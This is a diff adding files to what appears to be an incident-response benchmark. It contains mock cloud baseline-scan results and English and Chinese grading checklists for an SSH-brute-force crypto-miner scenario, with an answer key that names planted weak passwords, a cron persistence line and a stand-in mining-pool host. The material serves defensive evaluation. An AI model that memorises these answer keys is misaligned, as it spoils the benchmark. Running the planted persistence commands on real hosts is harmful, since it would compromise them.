+ "Item": "使用非root账号登录实例", + "Level": "medium", + "Status": 1, + "Type": " SSH服务配置 ", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 1, + "CheckWarningId": 1366422909, + "Item": "检查系统空密码账户", + "Level": "high", + "Status": 3, + "Type": "身份鉴别", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 2, + "CheckWarningId": 1366422912, + "Item": "禁止SSH空密码用户登录", + "Level": "high", + "Status": 3, + "Type": " SSH服务配置 ", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 6, + "CheckWarningId": 1366422925, + "Item": "确保SSH MaxAuthTries设置为3到6之间", + "Level": "high", + "Status": 3, + "Type": " SSH服务配置 ", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 10, + "CheckWarningId": 1366428924, + "Item": "确保rsyslog服务已启用", + "Level": "high", + "Status": 3, + "Type": "安全审计", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 12, + "CheckWarningId": 1366422933, + "Item": "访问控制配置文件的权限设置", + "Level": "high", + "Status": 3, + "Type": "文件权限", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 13, + "CheckWarningId": 1366422937, + "Item": "设置用户权限配置文件的权限", + "Level": "high", + "Status": 3, + "Type": "文件权限", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 15, + "CheckWarningId": 1366422950, + "Item": "确保root是唯一的UID为0的帐户", + "Level": "high", + "Status": 3, + "Type": "身份鉴别", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 5, + "CheckWarningId": 1366422921, + "Item": "确保密码到期警告天数为7或更多", + "Level": "medium", + "Status": 3, + "Type": "身份鉴别", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 11, + "CheckWarningId": 1366422930, + "Item": "确保SSH LogLevel设置为INFO", + "Level": "medium", + "Status": 3, + "Type": "服务配置", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 14, + "CheckWarningId": 1366422942, + "Item": "开启地址空间布局随机化", + "Level": "medium", + "Status": 3, + "Type": "入侵防范", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + } + ] + }, + { + "RiskId": 105, + "RiskName": "弱口令-Linux系统登录弱口令检查", + "TypeAlias": "弱口令", + "Level": "high", + "CheckCount": 1, + "HighWarningCount": 1, + "MediumWarningCount": 0, + "LowWarningCount": 0, + "WarningMachineCount": 1, + "LastFoundTime": "2026-04-16 06:48:45", + "Warnings": [ + { + "CheckId": 907, + "CheckWarningId": 1366446457, + "Item": "Linux系统弱口令", + "Level": "high", + "Status": 1, + "Type": "身份鉴别", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + } + ] + }, + { + "RiskId": 23, + "RiskName": "阿里云标准-Apache Tomcat 安全基线", + "TypeAlias": "最佳安全实践", + "Level": "high", + "CheckCount": 13, + "HighWarningCount": 0, + "MediumWarningCount": 3, + "LowWarningCount": 1, + "WarningMachineCount": 1, + "LastFoundTime": "2026-04-16 06:39:52", + "Warnings": [ + { + "CheckId": 96, + "CheckWarningId": 1366434694, + "Item": "禁止显示异常调试信息", + "Level": "medium", + "Status": 1, + "Type": "服务配置", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 98, + "CheckWarningId": 1366434692, + "Item": "禁止自动部署", + "Level": "medium", + "Status": 1, + "Type": "服务配置", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 100, + "CheckWarningId": 1366434684, + "Item": "删除项目无关文件和目录", + "Level": "medium", + "Status": 1, + "Type": "访问控制", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 99, + "CheckWarningId": 1366434691, + "Item": "限制服务器平台信息泄漏", + "Level": "low", + "Status": 1, + "Type": "服务配置", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 97, + "CheckWarningId": 1366434695, + "Item": "禁止Tomcat显示目录文件列表", + "Level": "high", + "Status": 3, + "Type": "服务配置", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 101, + "CheckWarningId": 1366434696, + "Item": "Tomcat目录权限检测", + "Level": "high", + "Status": 3, + "Type": "访问控制", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 102, + "CheckWarningId": 1366434700, + "Item": "Tomcat进程运行权限检测", + "Level": "high", + "Status": 3, + "Type": "访问控制", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 692, + "CheckWarningId": 1366434712, + "Item": "Tomcat弱口令", + "Level": "high", + "Status": 3, + "Type": "访问控制", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 913, + "CheckWarningId": 1366434706, + "Item": "AJP协议文件读取与包含严重漏洞", + "Level": "high", + "Status": 3, + "Type": "入侵防范", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 1272, + "CheckWarningId": 1366434714, + "Item": "Apache Tomcat Cluster 不安全配置导致反序列化代码执行漏洞\n", + "Level": "high", + "Status": 3, + "Type": "入侵防范", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 1273, + "CheckWarningId": 1366434718, + "Item": "Tomcat版本存在安全漏洞", + "Level": "high", + "Status": 3, + "Type": "入侵防范", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 1296, + "CheckWarningId": 1366434701, + "Item": "AJP文件读取与包含漏洞", + "Level": "high", + "Status": 3, + "Type": "入侵防范", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 95, + "CheckWarningId": 1366434720, + "Item": "开启日志记录", + "Level": "medium", + "Status": 3, + "Type": "安全审计", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + } + ] + }, + { + "RiskId": 88, + "RiskName": "阿里云标准-Mysql安全基线", + "TypeAlias": "最佳安全实践", + "Level": "high", + "CheckCount": 12, + "HighWarningCount": 0, + "MediumWarningCount": 1, + "LowWarningCount": 0, + "WarningMachineCount": 1, + "LastFoundTime": "2026-04-16 06:40:35", + "Warnings": [ + { + "CheckId": 752, + "CheckWarningId": 1366415129, + "Item": "修改默认3306端口", + "Level": "medium", + "Status": 1, + "Type": "服务配置", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 749, + "CheckWarningId": 1366415135, + "Item": "确保MYSQL_PWD环境变量未设置", + "Level": "high", + "Status": 3, + "Type": "身份鉴别", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 750, + "CheckWarningId": 1366415138, + "Item": "为MySQL服务使用专用的最低特权账户", + "Level": "high", + "Status": 3, + "Type": "访问控制", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 753, + "CheckWarningId": 1366415140, + "Item": "禁止使用--skip-grant-tables选项启动MySQL服务", + "Level": "high", + "Status": 3, + "Type": "访问控制", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 755, + "CheckWarningId": 1366415148, + "Item": "删除'test'数据库", + "Level": "high", + "Status": 3, + "Type": "服务配置", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 759, + "CheckWarningId": 1366415157, + "Item": "匿名登录检查", + "Level": "high", + "Status": 3, + "Type": "身份鉴别", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 1298, + "CheckWarningId": 1366415146, + "Item": "版本存在安全漏洞", + "Level": "high", + "Status": 3, + "Type": "入侵防范", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 754, + "CheckWarningId": 1366415142, + "Item": "禁用local-infile选项", + "Level": "medium", + "Status": 3, + "Type": "访问控制", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 757, + "CheckWarningId": 1366415155, + "Item": "确保log-raw选项没有配置为ON", + "Level": "medium", + "Status": 3, + "Type": "安全审计", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 758, + "CheckWarningId": 1366436098, + "Item": "确保没有用户配置了通配符主机名", + "Level": "medium", + "Status": 3, + "Type": "身份鉴别", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 760, + "CheckWarningId": 1366415160, + "Item": "禁用symbolic-links选项", + "Level": "medium", + "Status": 3, + "Type": "服务配置", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + }, + { + "CheckId": 756, + "CheckWarningId": 1366415150, + "Item": "确保配置了log-error选项", + "Level": "low", + "Status": 3, + "Type": "安全审计", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + } + ] + }, + { + "RiskId": 109, + "RiskName": "弱口令-Apache Tomcat控制台弱口令检查", + "TypeAlias": "弱口令", + "Level": "high", + "CheckCount": 1, + "HighWarningCount": 0, + "MediumWarningCount": 0, + "LowWarningCount": 0, + "WarningMachineCount": 1, + "LastFoundTime": "2026-04-16 06:41:25", + "Warnings": [ + { + "CheckId": 908, + "CheckWarningId": 1366436225, + "Item": "Tomcat弱口令", + "Level": "high", + "Status": 3, + "Type": "身份鉴别", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + } + ] + }, + { + "RiskId": 104, + "RiskName": "弱口令-Mysql数据库登录弱口令检查(不支持8.x版本)", + "TypeAlias": "弱口令", + "Level": "high", + "CheckCount": 1, + "HighWarningCount": 0, + "MediumWarningCount": 0, + "LowWarningCount": 0, + "WarningMachineCount": 1, + "LastFoundTime": "2026-04-16 06:40:35", + "Warnings": [ + { + "CheckId": 906, + "CheckWarningId": 1366436099, + "Item": "Mysql弱口令(不支持8.x版本)", + "Level": "high", + "Status": 3, + "Type": "身份鉴别", + "FixStatus": 0, + "Uuid": "mock-uuid-shiro-fastjson-victim" + } + ] + } + ] +} \ No newline at end of file diff --git a/ranges/shiro-fastjson/sas-mock/vulns.json b/ranges/shiro-fastjson/sas-mock/vulns.json new file mode 100644 index 0000000000000000000000000000000000000000..2e7fbfa1a962f6880cca003497bab9c04f869e18 --- /dev/null +++ b/ranges/shiro-fastjson/sas-mock/vulns.json @@ -0,0 +1,8 @@ +{ + "Count": 0, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "mock-range-shiro-fastjson-vulns", + "VulRecords": [], + "_note": "SAS未检测到应用漏洞(Shiro/Fastjson为JAR级别组件,需SCA扫描)" +} \ No newline at end of file diff --git a/ranges/ssh-miner/checklist.en.md b/ranges/ssh-miner/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..46c21136f673351dfb090b0d76299033495ba808 --- /dev/null +++ b/ranges/ssh-miner/checklist.en.md @@ -0,0 +1,242 @@ +# range-ssh-miner Checklist + +Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score. + +- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge +- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge +- **detection-only**: Plan score marked N/A, not counted in the corresponding summary + +## Dimension 1: Intrusion entity identification and disposal (4 items) + +### CHK-01: Mining process detection `ENT-P01` +- **Evidence**: process `/tmp/.X11-unix/.xorg` is running, or mining log `/tmp/.X11-unix/.xorg.log` exists +- **Detection score** (3 pts) + - Discovery: identify that the mining process exists + - Evidence: point out the path `/tmp/.X11-unix/.xorg`, identify the disguised name (.xorg imitates the X11 display service) + - Attribution: associate the mining process with the attacker's profit-seeking behavior after intrusion +- **Plan score** (2 pts) + - Correctness: the plan gives the correct process-termination command (kill/pkill) + - Completeness: the plan covers terminating the process + deleting the binary and log + checking whether a watchdog mechanism auto-restarts it + +### CHK-02: Mining binary cleanup `ENT-F02` +- **Evidence**: file `/tmp/.X11-unix/.xorg` exists (ELF or script) +- **Detection score** (3 pts) + - Discovery: identify the malicious binary + - Evidence: point out the file path and type + - Attribution: associate it with the mining behavior +- **Plan score** (2 pts) + - Correctness: the plan gives the correct deletion command (`rm -f /tmp/.X11-unix/.xorg /tmp/.X11-unix/.xorg.log`) + - Completeness: the plan recommends checking other locations (/tmp, /var/tmp, hidden directories) for copies + +#### CHK-03: Hydra/attack-tool residue `ENT-F02` +- **Evidence**: hydra may leave artifacts; brute-force patterns visible in logs +- **Detection score** (3 pts) + - Discovery: check whether attack-tool binaries or residual files exist on the target machine + - Evidence: list the discovered attack-tool paths (or explicitly state that a scan found none, listing the scan scope) + - Attribution: associate the attack tools with the brute-force activity +- **Plan score** (2 pts) + - Correctness: the plan gives the correct file-cleanup command + - Completeness: the plan covers investigation of common attack-tool paths (/tmp, /usr/local/bin, user home directories, etc.) + +## Dimension 2: Baseline risk (8 items) + +### CHK-04: SSH PermitRootLogin `BAS-01` +- **Evidence**: `/etc/ssh/sshd_config` has `PermitRootLogin yes` configured +- **Detection score** (3 pts) + - Discovery: the report mentions the risk of PermitRootLogin yes + - Evidence: cites the specific configuration line in `/etc/ssh/sshd_config` + - Attribution: correctly associates it with the SSH brute-force entry point +- **Plan score** (2 pts) + - Correctness: the plan recommends changing PermitRootLogin to `no` or `prohibit-password` + - Completeness: the plan includes `sshd -t` validation and an sshd restart step, and notes ensuring an alternative login method is available + +### CHK-05: SSH PasswordAuthentication `BAS-01` +- **Evidence**: `/etc/ssh/sshd_config` has `PasswordAuthentication yes` configured +- **Detection score** (3 pts) + - Discovery: identify the risk of password authentication being enabled + - Evidence: cite the specific configuration line + - Attribution: associate password authentication with the feasibility of brute-forcing +- **Plan score** (2 pts) + - Correctness: the plan recommends setting `PasswordAuthentication no` + - Completeness: the plan emphasizes first confirming that key authentication works, to avoid locking yourself out + +### CHK-06: SSH MaxAuthTries `BAS-01` +- **Evidence**: `/etc/ssh/sshd_config` has `MaxAuthTries 100` configured (far above the safe value) +- **Detection score** (3 pts) + - Discovery: identify the excessively high authentication-attempt limit + - Evidence: cite the specific configured value 100 + - Attribution: point out that this configuration facilitates brute-force attacks +- **Plan score** (2 pts) + - Correctness: the plan recommends setting `MaxAuthTries 3` or a similar limit value + - Completeness: the plan includes the `sshd -t` validation step + +### CHK-07: Root password strength `BAS-01` +- **Evidence**: the root password is `root@2024` (weak password, susceptible to dictionary attack) +- **Detection score** (3 pts) + - Discovery: identify that root uses a weak password + - Evidence: point out that the password is susceptible to dictionary attack or brute-forcing + - Attribution: directly associate the weak password with the success of the SSH brute-force +- **Plan score** (2 pts) + - Correctness: the plan recommends setting a strong password via `passwd root` + - Completeness: the plan gives password-complexity requirements (length, character types, etc.) + +### CHK-08: devops sudoers NOPASSWD `BAS-04` +- **Evidence**: `/etc/sudoers.d/devops` grants `NOPASSWD: ALL` +- **Detection score** (3 pts) + - Discovery: identify the overly permissive sudo privileges + - Evidence: cite the specific sudoers file and configuration content + - Attribution: point out that an attacker can use this to escalate from the devops account to root without a password +- **Plan score** (2 pts) + - Correctness: the plan recommends restricting to specific commands or removing NOPASSWD + - Completeness: the plan includes the `visudo -c` syntax-validation step + +### CHK-09: MySQL remote root access `BAS-02` +- **Evidence**: the MySQL root user can be accessed from `%` (any host), with the weak password `mysql123` +- **Detection score** (3 pts) + - Discovery: identify the risk of remote root MySQL access + - Evidence: point out the `root@'%'` grant and the weak password + - Attribution: point out that this configuration can be exploited by external attackers +- **Plan score** (2 pts) + - Correctness: the plan gives the SQL command to `REVOKE` or restrict to localhost, and recommends changing the password + - Completeness: the plan includes post-change validation steps (confirming remote access is disabled) + +### CHK-10: MySQL creds in bash_history `BAS-03` +- **Evidence**: `/home/devops/.bash_history` contains `mysql -uroot -p'mysql123'` +- **Detection score** (3 pts) + - Discovery: identify the plaintext credentials in shell history + - Evidence: cite the specific history line + - Attribution: point out that the credential leak can be exploited by other users or malicious programs +- **Plan score** (2 pts) + - Correctness: the plan recommends clearing the sensitive lines from the history + - Completeness: the plan recommends subsequently using `.my.cnf` (with restricted permissions) or environment variables to avoid leaking again + +## Dimension 3: Persistence removal (5 items) + +### CHK-11: Crontab persistence `PER-S01` +- **Evidence**: `crontab -l` shows `*/5 * * * * /tmp/.X11-unix/.xorg >/dev/null 2>&1` +- **Detection score** (3 pts) + - Discovery: identify the suspicious crontab entry + - Evidence: cite the specific crontab content, pointing out the 5-minute execution interval and silent output + - Attribution: associate the crontab with mining-process persistence +- **Plan score** (2 pts) + - Correctness: the plan gives the correct method to delete the malicious crontab entry + - Completeness: the plan recommends checking all users' crontabs and system-level directories such as /etc/cron.d/ + +### CHK-12: Bashrc persistence `PER-I01` +- **Evidence**: `/root/.bashrc` contains a code block starting with `# system performance tuning` that silently restarts the mining program +- **Detection score** (3 pts) + - Discovery: identify the malicious code block appended to bashrc + - Evidence: cite the comment disguise ("system performance tuning") and the specific malicious content + - Attribution: identify it as a persistence method that automatically restarts mining on every root login +- **Plan score** (2 pts) + - Correctness: the plan precisely locates the range of the code block to delete + - Completeness: the plan recommends checking other shell configuration files (.bash_profile, .profile, /etc/profile.d/) + +### CHK-13: Systemd service persistence `PER-V01` +- **Evidence**: `/etc/systemd/system/system-update-helper.service` — disguised as a system update helper, with ExecStart pointing to `/tmp/.X11-unix/.xorg` +- **Detection score** (3 pts) + - Discovery: identify the suspicious systemd service + - Evidence: point out the unit file path and that ExecStart points to the mining binary + - Attribution: identify it as a systemd-level mining persistence mechanism +- **Plan score** (2 pts) + - Correctness: the plan gives the complete commands for `systemctl stop && disable` + deleting the unit file + `daemon-reload` + - Completeness: the plan includes post-cleanup validation steps + +### CHK-14: Systemd service masquerade ID `PER-V01` *detection-only* +- **Evidence**: the service name `system-update-helper` and description `System Update Helper Service` imitate a legitimate system service +- **Detection score** (3 pts) + - Discovery: point out the disguise technique in the service name and description + - Evidence: compare against legitimate system-service naming patterns, pointing out the deliberate imitation + - Attribution: identify it as a means for the attacker to evade manual review through naming disguise +- **Plan score**: N/A (actual disposal is covered by CHK-15) +- **Bonus**: the Agent checks all systemd services for similar disguise patterns + +### CHK-15: Comprehensive persistence scan `Q-05` *detection-only* +- **Evidence**: no persistence mechanism other than crontab/bashrc/systemd +- **Detection score** (3 pts) + - Discovery: perform a systematic persistence scan (init.d, rc.local, at jobs, profile.d, etc.) + - Evidence: record the scan scope and method + - Attribution: even if no additional items are found, demonstrate the thoroughness of the investigation +- **Plan score**: N/A (this item measures investigation thoroughness, with no corresponding repair plan) +- **Bonus**: the Agent records the complete scan scope and confirms no other persistence was found + +## Dimension 4: Evaluation quality dimension (4 items) + +### CHK-16: Brute-force evidence recovery `Q-02` `Q-03` *detection-only* +- **Evidence**: + - `/var/log/secure` still contains `Accepted password for root` lines (the attacker only deleted the `Failed password` lines) + - `/var/log/secure.1.bak` contains the complete pre-cleanup log + - `lastlog` / `utmp` still show the attacker's login +- **Detection score** (3 pts) + - Discovery: recover brute-force evidence even after partial log cleanup + - Evidence: cross-validate using multiple data sources (residual secure lines, bak file, lastlog/utmp) + - Attribution: identify that the discontinuity of missing Failed lines and retained Accepted lines is itself evidence of log tampering +- **Plan score**: N/A (this item pertains to forensic analysis capability) + +### CHK-17: Attacker-IP identification `Q-03` *detection-only* +- **Evidence**: `Accepted password for root from ` in `/var/log/secure`; `last` command output; utmp records +- **Detection score** (3 pts) + - Discovery: identify the attacker's source IP address + - Evidence: cite the specific log line and IP address + - Attribution: associate this IP with the brute-force and subsequent malicious activity +- **Plan score**: N/A (the actual blocking plan is covered by CHK-22) + +### CHK-18: Entry-point determination `Q-01` `Q-04` *detection-only* +- **Evidence**: the combination of successful SSH brute-force logs + weak password + no CVE exploitation +- **Detection score** (3 pts) + - Discovery: correctly determine the entry point to be "SSH weak-password brute-force" + - Evidence: cite the successful SSH login logs, the weak-password configuration, and the absence of Web-exploitation traces + - Attribution: rule out CVEs and Web vulnerabilities, correctly characterizing it as a baseline_gap (baseline configuration flaw) scenario +- **Plan score**: N/A (entry-point determination pertains to analysis capability) +- **Critical**: the Agent should not fabricate a CVE or Web vulnerability as the entry point — honesty is judged here + +### CHK-19: Attack-timeline reconstruction `Q-02` *detection-only* +- **Evidence**: secure log timestamps (login), file mtime (mining deployment), crontab modification time, systemd unit creation time +- **Detection score** (3 pts) + - Discovery: construct a coherent attack timeline + - Evidence: brute-force → login → reconnaissance → mining deployment → persistence → log cleanup + - Attribution: cross-correlate multiple timestamp sources to form a complete attack narrative +- **Plan score**: N/A (timeline reconstruction pertains to analysis capability) +- **Bonus**: the Agent correlates the bash_history timestamps with other evidence + +## Dimension 5: Remediation closed-loop (4 items) + +### CHK-20: Attacker-IP firewall block `ENT-N01` +- **Evidence**: the attacker IP identified from the logs +- **Detection score** (3 pts) + - Discovery: recommend blocking the attacker IP + - Evidence: cite the specific attacker IP address + - Attribution: associate it with the inbound brute-force attack +- **Plan score** (2 pts) + - Correctness: the plan gives the correct firewall-rule command (firewall-cmd/iptables) + - Completeness: the plan includes `--permanent` persistence and rule-validation steps + +### CHK-21: SSH hardening verification `Q-07` +- **Evidence**: after applying the SSH configuration changes +- **Detection score** (3 pts) + - Discovery: recommend running `sshd -t` to validate the configuration + - Evidence: explain that key authentication must be tested before disabling password authentication + - Attribution: reflect risk awareness in the remediation operation (avoid locking yourself out) +- **Plan score** (2 pts) + - Correctness: the plan gives the `sshd -t && systemctl restart sshd` validation flow + - Completeness: the plan includes the validate-then-restart ordering, to avoid a misconfiguration preventing sshd from starting + +### CHK-22: Service restart and verification `Q-07` +- **Evidence**: Nginx, MySQL, and SSH should run normally after remediation +- **Detection score** (3 pts) + - Discovery: recommend verifying that the hardening operations did not affect business services + - Evidence: list the key services to verify + - Attribution: reflect business-impact awareness +- **Plan score** (2 pts) + - Correctness: the plan lists status-check commands for the key services + - Completeness: the plan covers all affected services (nginx, mariadb, sshd), considering port-listening confirmation + +### CHK-23: Mining outbound-connection block `ENT-N02` +- **Evidence**: the mining program previously connected to `stratum+tcp://pool.evil-example.invalid:3333` +- **Detection score** (3 pts) + - Discovery: recommend blocking outbound connections to the mining-pool address + - Evidence: cite the mining-pool address and port + - Attribution: identify it as C2/mining-pool communication of the mining process +- **Plan score** (2 pts) + - Correctness: the plan gives the correct outbound firewall rule + - Completeness: the plan includes blocking the target IP and port, and rule persistence diff --git a/ranges/ssh-miner/checklist.md b/ranges/ssh-miner/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..118d6af9961f3331c5d8501fe919c72ba8d7edc4 --- /dev/null +++ b/ranges/ssh-miner/checklist.md @@ -0,0 +1,242 @@ +# range-ssh-miner 检查清单 + +评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。 + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) — 评判检测 Agent 的分析报告 — LLM-as-a-Judge +- **方案分**(满分 2 分):正确性(1) + 完整性(1) — 评判检测 Agent 输出的修复方案 — LLM-as-a-Judge +- **仅检测项**:方案分标记 N/A,不参与对应汇总 + +## 维度 1:入侵实体识别与处置(4 项) + +### CHK-01:挖矿进程检测 `ENT-P01` +- **证据**:进程 `/tmp/.X11-unix/.xorg` 正在运行,或存在挖矿日志 `/tmp/.X11-unix/.xorg.log` +- **检测分**(3 分) + - 发现:识别到挖矿进程存在 + - 证据:指出路径 `/tmp/.X11-unix/.xorg`,识别伪装名称(.xorg 模仿 X11 显示服务) + - 归因:将挖矿进程与攻击者入侵后的牟利行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的进程终止命令(kill/pkill) + - 完整性:方案涵盖终止进程 + 删除二进制文件和日志 + 检查是否有守护机制自动重启 + +### CHK-02:挖矿二进制文件清理 `ENT-F02` +- **证据**:文件 `/tmp/.X11-unix/.xorg` 存在(ELF 或脚本) +- **检测分**(3 分) + - 发现:识别到恶意二进制文件 + - 证据:指出文件路径和类型 + - 归因:将其与挖矿行为关联 +- **方案分**(2 分) + - 正确性:方案给出正确的删除命令(`rm -f /tmp/.X11-unix/.xorg /tmp/.X11-unix/.xorg.log`) + - 完整性:方案建议检查其他位置(/tmp、/var/tmp、隐藏目录)是否有副本 + +#### CHK-03:Hydra / 攻击工具残留 `ENT-F02` +- **证据**:hydra 可能留下产物;日志中可见暴力破解模式 +- **检测分**(3 分) + - 发现:检查靶机上是否存在攻击工具二进制或残留文件 + - 证据:列出发现的攻击工具路径(或明确说明已扫描未发现,列出扫描范围) + - 归因:将攻击工具与暴力破解活动关联 +- **方案分**(2 分) + - 正确性:方案给出正确的文件清理命令 + - 完整性:方案涵盖常见攻击工具路径排查(/tmp、/usr/local/bin、用户 home 目录等) + +## 维度 2:基线风险(8 项) + +### CHK-04:SSH PermitRootLogin `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中配置了 `PermitRootLogin yes` +- **检测分**(3 分) + - 发现:报告中提及 PermitRootLogin yes 的风险 + - 证据:引用了 `/etc/ssh/sshd_config` 中的具体配置行 + - 归因:将其与 SSH 暴力破解入口正确关联 +- **方案分**(2 分) + - 正确性:方案建议将 PermitRootLogin 改为 `no` 或 `prohibit-password` + - 完整性:方案包含 `sshd -t` 验证和 sshd 重启步骤,提示确保替代登录方式可用 + +### CHK-05:SSH PasswordAuthentication `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中配置了 `PasswordAuthentication yes` +- **检测分**(3 分) + - 发现:识别到密码认证开启的风险 + - 证据:引用具体配置行 + - 归因:将密码认证与暴力破解可行性关联 +- **方案分**(2 分) + - 正确性:方案建议设置 `PasswordAuthentication no` + - 完整性:方案强调须先确认密钥认证可用,避免锁定自己 + +### CHK-06:SSH MaxAuthTries `BAS-01` +- **证据**:`/etc/ssh/sshd_config` 中配置了 `MaxAuthTries 100`(远超安全值) +- **检测分**(3 分) + - 发现:识别到过大的认证尝试次数上限 + - 证据:引用具体配置值 100 + - 归因:指出此配置助长暴力破解攻击 +- **方案分**(2 分) + - 正确性:方案建议设置 `MaxAuthTries 3` 或类似限制值 + - 完整性:方案包含 `sshd -t` 验证步骤 + +### CHK-07:Root 密码强度 `BAS-01` +- **证据**:root 密码为 `root@2024`(弱密码,可被字典攻击) +- **检测分**(3 分) + - 发现:识别到 root 使用弱密码 + - 证据:指出密码可被字典攻击或暴力破解 + - 归因:将弱密码与 SSH 暴力破解成功直接关联 +- **方案分**(2 分) + - 正确性:方案建议通过 `passwd root` 设置强密码 + - 完整性:方案给出密码复杂度要求(长度、字符类型等) + +### CHK-08:devops 的 sudoers NOPASSWD `BAS-04` +- **证据**:`/etc/sudoers.d/devops` 授予了 `NOPASSWD: ALL` +- **检测分**(3 分) + - 发现:识别到过于宽松的 sudo 权限 + - 证据:引用具体 sudoers 文件和配置内容 + - 归因:指出攻击者可借此从 devops 账户无密码提权到 root +- **方案分**(2 分) + - 正确性:方案建议限制到特定命令或移除 NOPASSWD + - 完整性:方案包含 `visudo -c` 语法验证步骤 + +### CHK-09:MySQL 远程 root 访问 `BAS-02` +- **证据**:MySQL root 用户可从 `%`(任意主机)访问,密码为弱密码 `mysql123` +- **检测分**(3 分) + - 发现:识别到远程 root MySQL 访问的风险 + - 证据:指出 `root@'%'` 的授权和弱密码 + - 归因:指出此配置可被外部攻击者利用 +- **方案分**(2 分) + - 正确性:方案给出 `REVOKE` 或限制为 localhost 的 SQL 命令,建议修改密码 + - 完整性:方案包含修改后的验证步骤(确认远程访问已禁用) + +### CHK-10:bash_history 中的 MySQL 凭证 `BAS-03` +- **证据**:`/home/devops/.bash_history` 中包含 `mysql -uroot -p'mysql123'` +- **检测分**(3 分) + - 发现:识别到 shell 历史中的明文凭证 + - 证据:引用具体历史记录行 + - 归因:指出凭证泄露可被其他用户或恶意程序利用 +- **方案分**(2 分) + - 正确性:方案建议清除历史记录中的敏感行 + - 完整性:方案建议后续使用 `.my.cnf`(受限权限)或环境变量避免再次泄露 + +## 维度 3:持久化清除(5 项) + +### CHK-11:Crontab 持久化 `PER-S01` +- **证据**:`crontab -l` 显示 `*/5 * * * * /tmp/.X11-unix/.xorg >/dev/null 2>&1` +- **检测分**(3 分) + - 发现:识别到可疑 crontab 条目 + - 证据:引用具体 crontab 内容,指出 5 分钟执行间隔和静默输出 + - 归因:将 crontab 与挖矿进程持久化关联 +- **方案分**(2 分) + - 正确性:方案给出删除恶意 crontab 条目的正确方法 + - 完整性:方案建议检查所有用户的 crontab 和 /etc/cron.d/ 等系统级目录 + +### CHK-12:Bashrc 持久化 `PER-I01` +- **证据**:`/root/.bashrc` 中包含以 `# system performance tuning` 开头的代码块,静默重启挖矿程序 +- **检测分**(3 分) + - 发现:识别到 bashrc 中追加的恶意代码块 + - 证据:引用注释伪装("system performance tuning")和具体恶意内容 + - 归因:识别为每次 root 登录时自动重启挖矿的持久化手段 +- **方案分**(2 分) + - 正确性:方案精确定位需删除的代码块范围 + - 完整性:方案建议检查其他 shell 配置文件(.bash_profile、.profile、/etc/profile.d/) + +### CHK-13:Systemd 服务持久化 